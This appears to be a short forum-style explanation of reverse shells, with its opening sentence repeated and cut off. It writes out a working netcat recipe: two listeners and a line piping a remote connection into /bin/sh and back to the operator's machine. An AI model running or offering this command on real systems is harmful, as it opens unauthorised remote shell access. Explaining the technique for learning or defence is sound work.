Normally you connect to a remote system and run a shell there (e.g. via SSH). This usually requires some sort of authentication. If you cannot authenticate you

Normally you connect to a remote system and run a shell there (e.g. via SSH). This usually requires some sort of authentication. If you cannot authenticate yourself (like, because you're an evil hacker) but found a way to run a code on the remote system you can do the reverse: have the remote system connect back to you. The "classic way" to do this is to run two instances of netcat in listening mode on your machine: terminal1> nc -l 8001 terminal2> nc -l 8002 Then you run something like this on the remote system: nc your.machine 8001 | /bin/sh | nc your.machine 8002 Now you can enter commands in terminal1 and see their output in terminal2.